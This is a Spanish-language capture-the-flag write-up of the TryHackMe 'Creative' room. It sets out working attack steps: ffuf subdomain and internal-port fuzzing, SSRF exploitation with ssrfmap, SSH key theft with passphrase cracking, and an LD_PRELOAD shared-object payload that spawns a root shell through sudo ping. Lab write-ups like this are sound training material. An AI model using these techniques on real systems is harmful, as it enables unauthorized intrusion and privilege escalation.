Cyber
TryHackMe
TryHackMe
  • crack the hash
  • Juice Shop
  • MrRobot CTF
  • Ninja Skills
  • Basic Pen Testing
  • bank_ctf
  • blaster
  • OWASP TOP 10
  • eternalblue
  • ice
  • easypeasy
  • pentesting completo
  • kenobi
  • Overpass
  • OWASP ZAP
  • Post Explotacion
  • Relevant
  • RootCTF
  • Stealth
  • Uso de SILK
  • Wreath
  • Clocky
  • Wifi Hacking 101
  • SQLMap
  • Kitty
  • Opacity
  • Bricks Heist
  • Carnage
  • Snort
  • Daily Bugle
  • Creative
  • CyberLens
  • Insecure Deserialisation
Powered by GitBook
On this page

Creative

PreviousDaily BugleNextCyberLens

Last updated 1 year ago

Vamos a comenzar lanzando un nmap:

Y vemos como tenemos abierto el ssh y http con un nginx 1.18.0

Luego lanzamos varias enumeraciones con gobuster , owasp zap , etc pero no encontro nada

Lo siguiente que lanzamos sera un ffuf para ver si hay subdominios:

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://creative.thm/ -H "Host:FUZZ.creative.thm" -fw 6

Y encotramos un subdominio llamado beta :

Parece que tenemos una pagina que te dice si un dominio esta muerto o video , vamos a comenzar haciendo command injection:

Y vemos que no funciona asi que vamos a hacer ssrf. Para ello primero nos descargaremos el fuzzer ssrfmap:

Una vez descargado vamos a capturar una peticion como el file///etc/passwd de antes con la burpsuite:

Lo guardamos a un archivo request.txt , y ahora ya si una vez tenemos la peticion vamos a usar ssrfmap para fuzzear en busca de vulnerabilidades , para ello vamos a utilizar el modulo portscan:

python ssrfmap.py -r ../requestfinal.txt -p url -m portscan

Y vemos como el puerto 1337 lo tiene abierto.

Otra forma de encontrar este puerto seria con el ffuf , para ello primero debemos crear un archivo con todos los puertos :

 seq 65535 > ports.txt

Y luego lanzar el ffuf:

ffuf -w ports.txt -u http://beta.creative.thm/ -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://127.0.0.1:FUZZ" -fw 3

Una vez tenemos el puerto vamos a pedirle en la web anterior:

Y parece que tenemos el directorio root.Tras hacer un poco de enumeracion en home tenemos el usuario saad con la flag de user:

Ahora vamos a por la flag de root. Para ello vamos a volver al usuario saad del que sacamos la flag:

Y vemos como tenemos el directorio oculto del ssh:

Y vemos como tenemos la clave privada id_rsa , vamos a seleccionarla y guardarla:

Pero vemos que nos esta pidiendo una contraseña , asi que vamos a pasar el archivo al john y vamos a romperla:

Y una vez tenemos la contraseña vamos a acceder:

Una vez accedemos intentamos tirar un sudo -l pero nos pide contraseña , vamos a mirar el historial del terminal a ver si vemos algo:

Y vemos la pass del usuario. asi que con ella vamos a lanzar de nuevo el sudo -l :

Y aunque tiene el ping para ejecutarse como root , no nos vale por si mismo , para conseguir root debemos hacer uso de otra variable :

Esta variable de entorno carga librerias antes e ejecutar el programa en este caso el ping , y mediante este enlace podemos ver formas de escalar privilegios a traves de esta variable:

Asi que primero nos creamos el siguiente archivo:

#include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/sh"); }

Lo primero que hacemos es irnos al directorio /tmp y alli creamos un archivo llamado shell.c con el contenido anterior. Luego lo compilamos de la siguiente forma:

Y por ultimo cargamos la variable con el archivo generado al compilar y llamando al proceso ping que es el que tiene permiso de root:

hay que añadirlos al archivo hosts para poder acceder a ellos
lo que estamos haciendo es lanzar peticiones como la que hemos lanzado antes en la web anterior pero en el campo de la peticion de la burpsuite url , vamos probando diferentes payloads y en diferentes puertos gracias al modulo portscan
la guardamos en nuestro equipo e intentamos loguearnos con ella
y ya obtenemos el root shell y vemos la flag
Linux Privilege Escalation using LD_Preload - Hacking ArticlesHacking Articles
Logo
GitHub - swisskyrepo/SSRFmap: Automatic SSRF fuzzer and exploitation toolGitHub
Logo